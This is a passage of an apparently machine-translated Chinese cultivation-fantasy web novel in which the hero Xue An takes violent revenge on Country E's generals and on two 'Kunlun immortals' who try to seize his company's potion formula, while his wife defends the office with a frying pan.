    Suddenly, a crack appeared in the air, and then Xue An and members of Fire Phoenix walked out of it.


    "Instructor, where are we going now? Back home?" Cheng Hao asked.


    Xue An shook his head, "Don''t rush back to China, the high-level military of Country E colluded with the werewolves. I have to calculate this with them first!"


    "Instructor, let''s go too! If it weren''t for you this time, we would almost be wiped out. These countrymen E are simply horrible!" Cheng Hao gritted his teeth.


    "Yes, let''s go too!" Sun Ling and the others agreed, and everyone''s face was full of hatred.


    Xue An shook his head, "You don''t need to use you for this matter, I''ll be enough by myself, wait here, and I will go back!"


    After all, Xue An rose into the sky, turned into a stream of light, and disappeared into the sky.


    Cheng Hao and others looked up, their faces were full of surprise.


    "Captain, are our instructors already immortal?" Zou Yi exclaimed.


    Cheng Hao whispered softly: "I don''t know whether I will become a fairy or not, but the instructor has become stronger again!"


    When we first met, Xue An felt that Cheng Hao was not as strong as it is now.


    Unexpectedly, in just a few months, Xue An''s momentum has become like a vast ocean, unpredictable.


    Mosco, the capital of country E.


    This is a bustling and lonely city.


    There used to be a huge and powerful empire rooted here, but now everything has passed, and only the white doves on the red square still remember the glory of the past.


    Xue An fell directly on a tall building on the outskirts of the city.


    Divine Sense swept over, Xue An found many powerful auras, one of them seemed so familiar.


    A cold smile appeared at the corner of Xue An''s mouth, and then disappeared.


    "Captain Susanna, do you want to go home?" Someone greeted Susanna friendly.


    Susanna nodded with a smile, and got into her car.


    Just about to start, a voice came from the back seat.


    "Long time no see, Susanna!"


    Susannah froze when she heard this voice, and then she looked back abruptly.


    Seeing Xue An sitting on the back seat, looking at her indifferently.


    "Xue... Xue An?" Susanna was shocked as if she had seen a ghost.


    "Are you surprised? My dear friend." Xue An said lightly, but now the word friend came out of his mouth, full of mockery.


    Susanna''s face turned pale in an instant, and then she smiled bitterly, "I''m really surprised, to know how many people I sent to search for your whereabouts, but..."


    Xue An waved his hand and interrupted Susanna''s words, "So, you don''t know anything about the werewolf?"


    Susanna sighed, "If I said, I didn''t know until the end, would you believe it?"


    When she said this, Susanna looked directly at Xue An''s eyes.


    After a while, Xue An nodded slightly, "Very well, then take me to meet your high-level military in Country E!"


    "What are you going to do?" Susanna''s expression tightened.


    Xue An said indifferently: "What are you doing? Naturally, I''m going to settle this account!"


    "Xue An, I know that country E did not do this right, but you have to be calm. After all, the other party is a high-level military who controls a huge force. Don''t be impulsive!" Susanna said anxiously.


    Xue An shook his head, "Because you haven''t lied, I still consider you half a friend, but my patience is limited. Please don''t waste precious time on this, understand?"


    Susanna''s face was pale, she gritted her teeth and said: "Okay, but I advise you, it is best not to be impulsive, the strength of the empire, you can''t provoke you alone!"


    Xue An smiled slightly without comment.


    Susanna drove outside the military building.


    Because she was a colonel, the guards didn''t check too much and let her go.


    On the elevator, Susanna said nervously: "General Chekov and other high-level officials are having a meeting on the top floor. I can''t get in with my position."


    Xue An nodded, "It''s okay, just know where it is!"


    The seventh floor will be here soon.


    As soon as the elevator door opened, a man in military uniform with blond hair was about to come in. When he saw Susanna, the man''s eyes lit up.


    "Susanna, are you here?" the man greeted very warmly.


    Susanna looked very nervous, and secretly winked at the man, but the man was a little surprised and didn''t understand what it meant.


    But he noticed Xue An standing next to him, and his expression sank.


    "Why did the Chinese come here? Susanna, who is this person?"


    When he said this, a flash of jealousy flashed in the man''s eyes.


    He was frantically pursuing this Far Eastern Army flower during this period, but he did not expect that there was such a Chinese man beside her.


    Susanna was angry, she just winked to make the man leave here quickly, and then went to send a letter to General Chekov.


    She is very fond of Xue An, but she can''t watch Xue An go to trouble with her superiors.


    Because Susanna had a vague premonition in her heart, this man with indifferent expression was likely to do something earth-shattering.


    Xue An heard a lot of disdain for the Chinese people when he heard the man''s words.


    The eyes were getting cold, and he stepped forward and said, "Get out of the way!"


    The man was taken aback for a moment, and then angrily said: "I am the colonel commander of the E side. I ask you to leave here immediately, otherwise I will..."


    Xue An has already detected through divine consciousness at this moment, there are a lot of big and steady figures on this floor.


    So I didn''t bother to talk nonsense with this person and just waved it casually.


    Click.


    The man''s head was cut off directly.


    Blood gushed out and the dead body fell.


    Susanna was shocked by this scene.


    Do you kill people when you shoot?


    At this moment, the guards on the floor also saw this scene, and they all rushed over.


    "who����."


    Xue An said coldly: "Those who come to collect debts!"


    A sword light cut across, directly cutting these guards into two, and then Xue An stepped inside.


    Wherever he went, the corpses were everywhere, and blood flowed into rivers.


    At this time Chekov and several high-level military officials of country E are having a meeting.


    What was discussed was the cooperation with the werewolf.


    "Last month, we sent in 100 tons of vodka, and then exchanged for the blood of five wolf gods, and we can build more than a dozen super fighters!" An expert-like officer was talking.


    "But this soldier''s soul is not easy to find. You can''t always play this special forces game." Someone frowned and asked.


    Chekov smiled triumphantly, "Of course we don''t always need the soul of a soldier, and it''s not worth it enough to exchange the lives of a few foreign special forces for something rich?"


    He really deserves to be proud, because this matter is controlled by him.


    At this moment, there was a sudden chaos outside.


    Chekov and others were wondering, the door burst open suddenly, and then Xue An walked in slowly.


    "I''m sorry, gentlemen, I don''t think the next meeting is necessary!" Xue An showed a few teeth and smiled sensibly.

 Chapter 244： I am very angry now, the consequences are serious

    "You are... Xue An, the instructor of Huaguo Phoenix?" Chekov was shocked.


    Xue An nodded and smiled faintly, "I''m glad you remember me, Mr. Chekov!"


    Chekov was shocked.


    How could he suddenly appear here?


    And he was captured by the werewolf along with the members of the Fire Phoenix?


    At this moment, the other people in the room also changed their colors.


    "Dare to trespass into the forbidden ground in the army, come here, drag this guy out!" a general roared.


    The only answer to him was silence.


    Xue An smiled faintly, "I''m sorry, I forgot to tell you, I have already taken care of the outside guard!"


    what?


    Everyone''s complexion became extremely ugly.


    Chekov snorted coldly, "Xue An, what do you want to do?"


    As soon as the voice fell, Xue An waved his hand and a sword light cut off Chekov''s arm.


    The blood, accompanied by Chekov''s roar, made the whole room silent.


    Xue An sat on the large sofa chair, a slight smile appeared at the corner of his mouth.


    "General Chekov, I hope you can understand that I am very angry now, very, very angry, after all... you were the one who almost killed all of my subordinates."


    Chekov''s face was ashen.


    At this time, the expert-looking officer secretly pressed a button under the table.


    After a while, I heard dull footsteps outside.


    A smug smile appeared on the officer''s face.


    "Instructor Xue, I sympathize with your troops, but your behavior is to provoke the dignity of our e-empire, so..." The officer paused.


    "Oh? So what?" Xue An raised his eyebrows slightly.


    "So we are going to send you to hell!" the officer grinned.


    boom.


    The thick concrete wall behind Xue An was blasted open with a punch, and then a hand as wide as a fan of a puff came in and slapped it to follow Xue An''s head.


    The hearts of the officers present were all loose.


    This palm probably smashed this guy''s head!


    But everyone''s pride lasted for less than half a second, and then it solidified.


    Because Xue An''s hand has grabbed this huge arm, and said lightly: "Is this the super soldier that you developed in collaboration with the werewolves?"


    With that, Xue An squeezed his hand.


    With a click.


    This very strong arm was crushed.


    A dull roar came, and then the arm wanted to withdraw.


    "I want to leave now? Don''t you think it''s too naive?"


    Xue An said, with a sudden force.


    boom.


    The wall was smashed into a big human-shaped hole, and then a muscular warrior who was more than two meters tall staggered in.


    Even if the arm was crushed by Xue An, the soldier was still brave enough to rush over.


    But Xue An didn''t even give it this opportunity, and a sword light flashed.


    The head of the strong man fell down entirely.


    Then Xue An said coldly, "Is this kind of garbage worth your pains to harm others?"


    Chekov and others were dumbfounded.


    From the moment Xue An entered to the present, but within a minute or two, Xue An surprised these people too much.


    The burly man''s body fell to the ground, and Xue An leaned down and put his hands on the table, looking around the pale-faced generals.


    "There is one more thing I want to tell you, the group of werewolves you relied on to fudge has been killed by me!"


    "How is it possible!" Chekov shouted.


    A sword light flashed, Chekov''s head rose into the sky, his face was full of consternation before he died.


    He thought that Xue An was only here to vent his anger, and would leave after the vent, even if he cut off one of his arms, he did not dare to kill himself.


    After all, he is a high-level military officer in country e.


    "I said, I am very angry now, so when I speak, you''d better not interrupt, understand?" Xue An said lightly.


    The remaining officers all nodded in silence.


    "Very well, I think below, we can talk about compensation!" Xue An smiled lightly.


    Just when Xue An was looking for these high-level military officials in country e to settle accounts.


    In China Central Capital.


    Jiang Nubing and Wen Banmei got out of the car and looked up at the spacious factory door.


    "Two immortals, this is Tianyuan Company!" Liu Ruyan said respectfully.


    Jiang Nubing nodded slightly, his eyes filled with excitement and greed, "Very well, your Liu family did a good job!"


    After being praised by Jiang Nubing, Liu Ruyan''s face flashed with excitement.


    Wen Banmei frowned slightly, "In a very strange place, there are spiritual pulse fluctuations inside!"


    Jiang Nubing smiled upon hearing the words, "That''s natural, without spiritual veins, this potion won''t have any effect, right?"


    Wen Banmei nodded.


    Liu Ruyan looked at the two people who were talking from behind, and couldn''t help thinking about it.


    Unexpectedly, the Liu family hit the Grand Canal this time, and unexpectedly met these two fairy masters by chance.


    As soon as the two of them shot, they shocked everyone in the Liu family.


    Then Liu Ruyan was fortunately valued by Wen Banmei and asked her to be a temporary escort.


    In the past few days, the Liu family treats them with respect, especially Liu Ruyan!


    She dreamed of worshipping Wen Banmei''s door!


    So when she heard that the two wanted to find Tianyuan Company, she volunteered to be a guide.


    "Let''s go! Go in and see what is sacred, you can actually make such a potion in the world!" Wen Banmei said lightly.


    The two were in front, and Liu Ruyan led several guards of the Liu family to follow behind.


    Soon he came to the office building of Tianyuan Company.


    "How many people are you looking for?" the receptionist asked.


    Jiang Nubing and Wen Banmei seldom speak, because they feel that talking with the secular people is insulting their status as a Kunlun fairy.


    Liu Ruyan stepped forward and said arrogantly: "We want to see your person in charge, hurry!"


    "Miss, I''m sorry, several of our chairmen are in a meeting, and there is no time to meet..."


    The lady at the front desk hadn''t finished talking Jiang Nubing and Wen Banmei walked inside.


    "Hey! You can''t run around like this!" the reception lady shouted anxiously.


    Wen Banmei gave her a cold look.


    The receptionist at the reception felt that she was frozen all over, and she couldn''t even speak.


    Liu Ruyan sneered, "Looking for death!"


    Then he hurriedly led people to follow.


    At this time, Zhao Xuehui, Qiao Le, Yang Binyi, Gao Yan Shuliu and others were in a meeting.


    "Mr. Xue hasn''t come back yet?" Shu Liu asked worriedly.


    Zhao Xuehui nodded, "The second brother hasn''t come back yet, but I believe he will be fine. All we have to do now is to ensure the stable development of the company and no mistakes!"


    Just now, the door of the conference room was kicked open, and then Jiang Nubing and Wen Banmei raised their heads and entered.

 Chapter 245： The domineering Anyan and her pan

    "Who are you?" Qiao Le suddenly stood up and asked angrily.


    Jiang Nubing sneered, looked around everyone present, and then said lightly: "Are you...... are the top executives of Tianyuan Company?"


    "Who are you? If you don''t say anything, I can call a security guard!" Zhao Xuehui shouted in a deep voice.


    Jiang Nubing walked to the table, grabbed a chair and sat down, and then said lightly: "It doesn''t matter who I am. The important thing is that you have to hand over the manufacturing process and formula of this Tianyuan!"


    Zhao Xuehui and the others glanced at each other, and their hearts were tight.


    coming!


    Sure enough, someone couldn''t help but attack Tianyuan.


    "Hehe, who are you, what a big tone? I can tell you, now you get fucked, I can let you go, otherwise..." Before Qiao Le''s words were finished, Wen Banmei frowned, and then snapped his fingers. .


    boom.


    Qiao Le was directly hit by the wall, spurted out a mouthful of blood, and coughed again and again in pain.


    "Battle! I''ll fight it for you!" Yang Bin''s eyes were red when he saw his third brother being beaten, and he was about to rush up when he picked up the stool.


    Liu Ruyan sneered at this time: "I advise you to better not be impulsive, these two immortal masters with great ability! Hand over the formula and craftsmanship obediently, and I can forgive you not to die!"


    Shu Liu trembled at this moment, "Are you...Miss Liu Ruyan?"


    Liu Ruyan smiled triumphantly, "Yes, I am Liu Ruyan, Manager Shu. I didn��t expect to meet again here. Since we are all old acquaintances, I can be obedient. Let go of you!"


    Shu Liu''s face became extremely ugly, and he said angrily: "What are you guys? Robbers?"


    Kaoyan couldn''t help but sighed, and said, "Neither of them seem to be ordinary people. They are so domineering in doing things, so are you not afraid of retribution?"


    Jiang Nubing sneered, "Retribution? Our Kunlun immortal''s words are retribution! Now I will give you ten minutes to hand over everything and spare you not to die, otherwise..."


    "Otherwise what?" A cold voice came from outside the door.


    Everyone in the room was taken aback for a moment, and then they saw An Yan walking into the meeting room with Xue Xiang and Xue Nian.


    The complexions of the three brothers Zhao Xuehui, as well as the high temperature Yan and others changed.


    Especially Zhao Xuehui was full of anxiety.


    Why did my younger siblings come at this time?


    In fact, An Yan came here today purely by accident.


    She was really bored at home, and An Qing never came back.


    An Yan knew that his sister An Qing must feel guilty in her heart and dare not come to see her.


    Although An Yan called several times, An Qing never answered.


    Today, An Yan is going to come to Tianyuan Company for a round trip to relieve the worries and worries in my heart a little bit.


    But as soon as I walked outside the conference room, I heard the quarrel inside, and I understood after listening carefully.


    It turned out that someone wanted to rob Tianyuan''s formula and craftsmanship.


    This can not help but make An Yan angry.


    This heavenly fate was established by his own husband himself. Now that his person has just disappeared for a few days, someone can''t help but **** it?


    When Jiang Nubing saw An Yan, his eyes lit up, what a beautiful woman, and then he asked faintly.


    "who are you?"


    "I''m Xue An''s wife, a shareholder of Tianyuan Company, An Yan! You are so overbearing, aren''t you afraid that my husband will come back to you to settle accounts?" An Yan said coldly.


    Xue An''s wife? Afterwards?


    Jiang Nubing and Wen Banmei glanced at each other, then smiled at each other.


    The two of them naturally knew the name Xue An.


    The actual founder of Tianyuan Company.


    And his deeds, the people of the Liu family have probably introduced him, he is known as the top master among the younger generation of martial arts circles today.


    Jiang Nubing and Wen Banmei just smiled indifferently and didn''t take it seriously.


    For these immortals who came out of the Kunlun Secret Realm, the so-called masters in the world are not worth mentioning.


    Therefore Jiang Nubing smiled faintly, "Oh? So, you know the formula of Tianyuan? Well, you tell us, and then we get up and go! How?"


    "Don''t think about it!" An Yan shouted coldly.


    At this time, Liu Ruyan took two steps forward with a ridiculous expression on his face, "Miss An Jia is so majestic, tut! It''s a pity that now your husband is not there, and I heard that you have been buried in Siberia. Why are you still shaking here? It''s better to tell the recipe, wouldn''t everyone be happy!"


    An Yan looked at Liu Ruyan, her eyes gradually cold, "Will the Liu family also take a trip to the muddy water? Are you not afraid of people from the military coming forward?"


    Liu Ruyan sneered when he heard the words, "An Yan, I know what you are thinking, but unfortunately, now your sister An Qing is already a mud bodhisattva. It''s hard to protect herself. To tell you the truth, my brother has now transferred her to her. The army has gone, and it''s her superior. Do you think you still have a chance to make a comeback?"


    These words changed An Yan''s expression, no wonder An Qing couldn''t get through her phone recently.


    Xue Xiang and Xue Nian could hear them in the mist at this moment, but the two little girls were extremely smart, and they could naturally see that Liu Ruyan was not a good thing, so they held their small fists and shouted.


    "Bad auntie! Be careful my dad comes back and beat you to death!"


    The words of the two little girls made Liu Ruyan''s expression gradually cold, and she couldn''t help but snorted: "An Yan, the two immortals are here, I advise you..."


    Before she could finish her words, An Yan stretched out her hand and pulled the pan from the backpack behind her, and patted it in Liu Ruyan''s face.


    Snapped.


    A very crisp sound.


    Liu Ruyan was slapped off the ground by the pan, and she didn''t stop until she hit the wall.


    Then Liu Ruyan''s pretty face swelled up at a speed visible to the naked eye.


    Liu Ruyan yelled in pain, and angrily ordered his security guard, "Go on, beat this nasty woman on the ground!"


    Several bodyguards from the Liu family swarmed up.


    An Yan turned back to the usual gentleness and murderous face. Holding the pan, I came and slapped one and lay down, and I came and patted the other two. It was a joy to play!


    At first, Zhao Xuehui, Qiao Le and others looked stupid.


    Who would have thought that Anyan, who is usually gentle and extremely gentle, would be so vigorous and sturdy once he ran away?


    After a while all of them woke up.


    Can''t let An Yan fight alone!


    So they all rushed up with tables, chairs and benches.


    There was a scuffle in the conference room.


    Liu Ruyan touched the already swollen half of Lao Gao''s face, and walked to Wen Banmei very aggrieved.


    "Master, this woman is so nasty! You must vent my anger!"


    Wen Banmei and Jiang Nubing looked at An Yan with interest at this moment.


    This woman actually has the cultivation base of Xiaoyaojing.


    Soon, these Liu family bodyguards were all brought down by An Yan.


    Then An Yan held the pan and pointed a murderous finger at Jiang Nubing and the others.


    "Who else?"

 Chapter 246： Wife, wait for me for a while

    Just when An Yan used a pan to kill the Quartet.


    Xue An received extremely expensive compensation from these e officials who were like bereaved concubines.


    Among them are not only monetary compensation, but also drawings of various weapons and equipment.


    These are what China is in urgent need of now.


    After Xue An installed all these things, he smiled at the officers, "There is one more thing I have to tell you. Even though you used all kinds of despicable means, my Fire Phoenix had no casualties. , Still number one!"


    Xue An''s words made the officers'' complexion green.


    This is the real one who shot himself in the foot.


    When sending Xue An out of the military building, Susanna''s expression was extremely complicated.


    This man was so powerful and almost terrifying.


    The super fighters that the empire has always been proud of have not even survived a single move, and even the werewolf clan regarded by the top as the top combat power has been annihilated by it.


    Now think about it, the empire should not have provoke this man from the beginning!


    When he waited out of the military building, Xue An stood still and gave Susana a faint smile.


    "Susanna, thank you!"


    Susanna''s face turned pale, and she didn''t know how to respond.


    "I am a very principled person. If others treat me well, then I will definitely repay, but if someone dares to target me secretly, then don''t blame me for being rude!"


    Susanna nodded silently.


    "This time I was barely satisfied, but not enough!" Xue An said lightly.


    "Not enough?" Susanna asked inexplicably astonished.


    The compensation has reached this point, and the empire has been disgraced, is it not enough?


    What does he want?


    "Sometimes, low-key is a wise move! But always blindly low-key, delusional to pretend to be a pig and eat a tiger, but will only attract greedy or hateful eyes!"


    Xue An smiled slightly when he said this.


    "And if you want to completely eliminate these eyes, the best way is to make them fear, fear your power!"


    Following Xue An''s voice, he slowly rose into the air.


    Many people have seen this scene and can''t help being surprised.


    "God, am I wrong?" Many pedestrians were surprised.


    Xue An stood in the air, using his hand as a sword, slowly raising it above his head.


    "open!"


    boom!


    A sword light that slashed the sky and the jedi fell straight down, directly smashing the military building.


    Click!


    The military building, which is seven stories high and consumes countless amounts of reinforced concrete, is said to be insensitive to missiles. Under this sword, it is like a fragile egg shell, directly split in half.


    A wide gap appeared in the middle, and the sparks of the cable mixed with the screams of people in the building, forming a scene that made Susanna cold all over.


    This man! It''s more terrifying than the gods!


    Xue An lowered his head and smiled at Susanna, "Goodbye, my friend!"


    After that, Xue An turned into a streamer and disappeared into the sky.


    And this scene has also been recorded by many people. A storm of public opinion is brewing.


    Siberian training camp.


    When Cheng Hao and others came here, it had been abandoned and even occupied by a group of pirates.


    When Cheng Hao and others arrived, the log thief still wanted to resist, but before they even had time to pull out the gun, they were directly beaten by Cheng Hao and others, and they were all thrown into the ice and snow. .


    At this moment, Cheng Hao and other team members are waiting in the house for Xue An''s return.


    "Captain, how long do you think our instructors will be back?" Zou Yi asked with a smile.


    Cheng Hao pondered for a moment, "I think it will take a day!"


    "One day? It''s at least 3,000 kilometers from here to Mosco. Although the instructor can fly, can he get there in one day?" Zou Yi was still a little unbelievable.


    But when they were talking, Xue An broke into the window directly.


    "Instructor!" Everyone quickly stood up, their hearts full of awe.


    Just now everyone said that it would take at least one day, but who could have imagined that the instructor would be back after only half a day!


    Xue An nodded, "It''s not too far away from Huaxia. After a while, I will save a sword spirit and fly back to Huaxia with me, do you understand?"


    "Good!" Everyone was excited.


    "Instructor, is the sword flying?" Zou Yi couldn''t help asking when his eyes lit up.


    Xue An nodded with a smile, "Forget it!"


    As he was talking, Xue An''s complexion suddenly changed, and then turned to look in the direction of Huaxia.


    An incomparable murderous aura rose to the sky.


    Everyone in Cheng Hao changed their colors, and those who were closer were directly driven back by this murderous aura.


    "Instructor, what''s the matter?" The expressions of Cheng Hao and others became serious.


    Xue An''s eyebrows were erect at this moment, because he just felt the mood from An Yan and his daughter.


    It seems that they are in a dangerous situation.


    "Someone is unfavorable to my wife and daughter!" Xue An said in a deep voice.


    When Cheng Hao and others heard this, they raised their eyebrows and opened their eyes, with murderous faces all over them.


    Xue An waved his hand at this moment, and everyone was relieved with a sword aura.


    "Follow me!"


    After all, Xue An rose to the sky.


    Cheng Hao and others followed closely. At the same time, these people looked at each other, and they all understood each other''s mood from each other''s murderous and angry eyes.


    Someone dared to disadvantage the instructor��s family.


    So no matter who you are, no matter you are in the end of the world, the phoenix will punish you!


    Xue An comes first, followed by the members of the Phoenix Fire.


    Dozens of streamers crossed the sky at a very fast speed.


    Xue An said silently in his heart.


    Wife, wait for me for a while, when I go back, kill all the **** who are at your disadvantage!


    And this time, in the meeting room of Tianyuan Company.


    Wen Banmei stood up slowly, with a sneerful smile on her face.


    "The pot is good!"


    An Yan calmly said nothing.


    "But if you think that with your pan and your ridiculous Xiaoyao Realm cultivation base, you can stop us, that would be ridiculous!" Wen Banmei said lightly.


    An Yan said coldly: "You can try!"


    Wen Banmei sneered The momentum on her body began to rise steadily, and soon she reached the realm of Sanxian.


    The power of this realm made ordinary people in the house, such as Zhao Xuehui, Shu Liu and others, all pale and were forced to stand by the wall.


    An Yan''s face also turned pale, but she still clenched her teeth.


    Wen Banmei had a look of surprise in his eyes. With her own power and power, she couldn''t make An Yan who is a happy one give in?


    At this moment, Xue Xiang and Xue Nian were like two little penguins, opening their hands to block An Yan.


    "Bad woman, you are not allowed to bully my mother!" Xue Nian said.


    "Yes! Bullying my mother again, when my father comes back, all of you will disappear!" Xue Xiang said.


    what!


    Both Wen Banmei and Jiang Nubing were a little surprised.


    These two little girls are actually indifferent to the power of this fairy?

 Chapter 247： Remember, this is just the beginning!

    But where do they know.


    Thinking and Niannian had taken the Pei Yuan Dan made by Xue An with the essence and blood of Xianzun since he was a child.


    Moreover, Xue An was indulging in these two daughters to the point of indescribable, and directly used his own life essence and blood to put countless amulet seals on them.


    It can be said that even if the longevity is here, they may not be able to do anything with these two little girls.


    "Humph!" Wen Banmei snorted coldly. She wasn''t as familiar with the two children, but looked up at An Yandao.


    "Miss Ann, you don��t know anything about the power of this world. If I want to, then you will be dead on the spot now, but I don��t want to do that. As long as you hand over the formula and craftsmanship, then I will let you go. And your child, what do you think?" Wen Banmei said coldly.


    Liu Ruyan couldn''t restrain himself, and rushed up and said, "An Yan, I tell you, the two immortals are right. If you are still obsessed with understanding, not only will you not get better, but your sister will also be implicated!"


    "And you are still looking forward to it, Xue An will come back to save you? Tell you, don''t be foolish, it is estimated that your husband''s body has been eaten by the wolf now!" Liu Ruyan mocked.


    An Yan couldn''t help it anymore, pointed the pan in his hand at Liu Ruyan, and threw it out with a raised hand.


    I don''t know if it is due to talent or the attribute bonus of the pan throwing. Anyway, An Yan throws the pan, it is absolutely incomparable.


    Clang.


    The pan hit Liu Ruyan''s mouth.


    The blood flowed down the corners of Liu Ruyan''s mouth at that time, and the teeth in his mouth were smashed.


    Liu Ruyan screamed in pain, and shouted vaguely: "Master...Help me!"


    Wen Banmei''s expression sank.


    An Yan dared to do it in front of her, which made her feel very shameless.


    Therefore, Wen Banmei took a step forward and said coldly: "Since you are seeking your own death, don''t blame me for being cruel!"


    With her voice, a murderous intent came straight to Anyan


    A look of despair flashed in An Yan''s eyes.


    Husband, where are you now? I... can''t hold on anymore!


    Zhao Xuehui, Qiao Le and the others could not even move their hands or feet, and despair appeared on their faces.


    But at this moment, a cold voice came from outside the window.


    "Very well, you successfully angered me!"


    An Yan was startled.


    This voice...


    Afterwards, the glass curtain wall of the conference room shattered, and Xue An slowly walked in.


    His appearance made An Yan''s tears burst into her eyes.


    "Husband!"


    "Dad!" the two little girls also shouted in unison.


    This husband is full of grievances and sadness.


    Xue An felt distressed for a while, stepped forward and hugged An Yan.


    "Okay, okay, stop crying, am I not coming back?"


    An Yan nodded slightly embarrassed.


    And at this time, a cold voice came, "You... are you Xue An?"


    Xue An''s smile gradually converged and turned to look.


    I saw Wen Banmei coldly said: "You are Xue An, the founder of Tianyuan? Very well, since you are back, then... hand over this thing, I can spare you not to die!"


    Wen Banmei''s tone was full of pride.


    Xue An smiled, rubbed An Yan''s head lightly, then bowed his head and said to Miss and Nian: "You two and your mother go there and wait for me first, remember to close your eyes!"


    "Hmm!" The two little girls obediently followed An Yan to the side.


    Xue An stood up straight, and drew his ears slowly, "I''m sorry, what did you just say? I didn''t hear you clearly."


    Not knowing what was going on, Wen Banmei felt a chill in her heart.


    But immediately, she raised her head proudly, "Hand over the formula and craftsmanship, and spare you not to die!"


    The voice just fell.


    Xue An''s figure suddenly appeared in front of her, and she slapped her hand.


    This slap fan is extremely hard.


    He directly slapped Wen Banmei off the ground, and made her rotate several times in midair.


    There was a plop.


    Wen Banmei fell to the ground.


    The bones on half of her face were smashed.


    The originally pretty face became very hideous and terrifying.


    And this slap also caused Jiang Nubing who was watching the jokes to stand up suddenly, with a gloomy expression: "You dare to do it?"


    Xue An didn''t even bother to talk nonsense any more, his figure disappeared suddenly, and then appeared in front of Jiang Nubing, slapped his hand.


    Snapped!


    Jiang Nubing was in a better situation than Wen Banmei. Although he was fanned, his cheekbones were not crushed anyhow, but his mouth full of teeth could not be kept.


    Then Xue Ancai said lightly: "Remember, this is just the beginning!"


    The room was silent, and many people watched this scene dumbfounded.


    Especially Liu Ruyan.


    In any case, she could not think that the two immortal masters whom she respected as gods were actually shattered by Xue An.


    "Very well, you angered the two Kunlun immortals, you are dead!" Wen Banmei looked at Xue An incomparably bitterly, then stood up and flew out.


    Qianxue Mountain''s unique learning, Qianji Fan!


    Known as the unique knowledge of Sanxian in a single blow!


    And Jiang Nubing was also furious at the moment, roaring, a brilliance appeared in his hands.


    Surprisingly it is a spear.


    Overlord rage spear!


    The peculiar knowledge of the town of Bawangmen is known as the golden fairy king Xiang Yu inherited from the original!


    The combined attack of the two was extremely powerful.


    All the tables and chairs in the room were turned into powder by this blow.


    Shu Liu and others all looked horrified and worried in their hearts.


    But in the stormy sea, Xue An''s indifferent voice came.


    "I said, this is just the beginning!"


    Stop talking!


    Xue An smashed the Qianji fan, kicked off the Overlord Spear, and deceived him.


    Pop!


    Two slaps louder than before.


    Jiang Nubing and Wen Banmei were fanned out again.


    After landing again, the two people''s faces were already deformed.


    The nose and mouth are bleeding out.


    Xue An said lightly: "It''s not over yet, come on!"


    A look of horror flashed in both eyes.


    How could this man be so tough?


    The two gritted their teeth and directly used their strongest secret techniques.


    "Thousand Snow Beauty!"


    "Overlord slays the river in anger!"


    The two earth-shattering auras merged into one The roof of the meeting room was knocked into the air by this momentum.


    Xue An still held his arms and watched quietly.


    Jiang Nubing and Wen Banmei were secretly happy.


    This is the non-transmitting secret technique of their respective divisions, and it is extremely powerful, and the combined attack of two scattered immortals, even the average half-step longevity, dare not rigidly take it.


    But the joy lasted less than a second.


    Xue An raised his eyes, revealing a few white teeth, and smiled sensibly, "It''s still not enough!"


    After speaking, Xue An put out his hands and pressed them directly on the heads of the two, and gave a soft drink.


    "Kneel down!"


    The two felt as if they were being pressed on top of their heads by a mountain, their knees shattered at that time, and they knelt on the ground with a plop.

 Chapter 248： In the blink of a finger

    Jiang Nubing and Wen Banmei knelt on the ground, struggling a few times, creating knees shattered, unable to turn at all, and a humiliating color flashed across their faces.


    Then the two secretly looked at each other and bowed their heads.


    "Xue An, we admit that we underestimated you, and your cultivation is enough to make us respect. This incident is revealed, what do you think?" Jiang Nubing took a deep breath and said in a deep voice.


    "Oh? Just expose it?" Xue An said lightly.


    "That''s right, we don''t force the Heavenly Fate Potion anymore! As long as you let us go, then this matter will never happen!" Jiang Nubing said.


    "It sounds good, but..." A cold smile appeared at the corner of Xue An''s mouth.


    "You seem to have made a mistake. From the beginning, I didn''t intend to let you go!"


    The faces of Wen Banmei and Jiang Nubing were frightened.


    Wen Banmei sneered and said, "Xue An, don''t feel how amazing your cultivation is. Let me tell you that in Kunlun, your level is not enough."


    Xue An looked at Wen Banmei indifferently, and didn''t smile until the end.


    "Are you finished? If you''re finished...then die!"


    As soon as Xue An waved his hand, Wen Banmei felt a blazing heat at his feet. Looking down, several wisps of white flames were burning at an extremely fast speed.


    "Ah ah ah ah... Xue An, let me go quickly, otherwise my teacher will break your body to pieces!" Wen Banmei screamed and shouted.


    But this simply cannot prohibit the rapid burning of the flame.


    After a while, all Wen Banmei''s people were swallowed by the flames.


    The blue and pretty face quickly withered and cracked in the fire.


    Wen Banmei struggled bitterly, then was burned to fly ash, disappearing.


    Jiang Nubing saw his liver and guts split from the sidelines, but he did not expect that Xue An would be so cruel to start.


    Xue An turned his eyes to Jiang Nubing, "Before passing away...what do you want to say?"


    Jiang Nubing breathed a cold air from the bottom of his heart, but still gritted his teeth and said, "We are Kunlun immortals. If you kill us, you will cause great trouble!"


    Xue An smiled, "Trouble? The thing I fear most is trouble!"


    As he said, the endless flame once again enveloped Jiang Nubing, and after a while, he was also burned to fly ashes, and his soul was destroyed.


    Seeing the death of the two.


    Liu Ruyan couldn''t help being dumbfounded.


    It wasn''t until Xue An looked at her that she was agitated and trembling: "Don''t kill me, I''m from the Liu family!"


    "The Liu Family?" Xue An shook his head, "No, it won''t exist soon!"


    Stop talking.


    A sword light flashed, directly piercing Liu Ruyan''s forehead, and the dead body fell to the ground.


    Zhao Xuehui, Shu Liu and others all looked at Xue An in amazement.


    Especially Shu Liu and Gao Shengnan, at this time they are almost frightened.


    Since Xue An came back, like a murderer, he shot unparalleled, and even cut several people! And his expression was indifferent, like a chicken but a dog.


    With such a momentum, several women couldn''t help turning pale.


    Xue An came to An Yan and smiled slightly.


    "My wife, I''m sorry, I''m a bit late!"


    An Yan swept the hair in her ears and smiled brightly, "Just come back!"


    Xue Xiang and Xue Nian happily said, "Dad, Dad, Mom just now is so amazing, I''m afraid of hitting those big bad guys!"


    Xue An chuckled, knelt down and messed up the hair of the two little girls, "You guys are amazing too! You know how to cover your mother!"


    When Xue An came back, he happened to see a scene of two little girls blocking An Yan''s eyes.


    It was also that scene that made Xue An run away directly.


    "We are not afraid. Dad said that if someone bullies us, we must fight back fiercely!" Xue Xiang clasped his small fist and said firmly.


    Xue An smiled, very pleased.


    He didn''t want his child to be a flower in the greenhouse, because the road to immortality in the future would be difficult and difficult to count.


    He had to make it clear to his two daughters that if someone bullied him, he would take revenge ten times!


    An Yan said with some worry at this moment: "An Qing''s side..."


    Xue An stood up and nodded, "I know, I''ll pass by now!"


    While talking, dozens of streamers flew from the sky, and then rushed directly into the meeting room.


    People can only create after stopping their figure, and they are all powerful soldiers.


    "Instructor!" Cheng Hao and others shouted in unison.
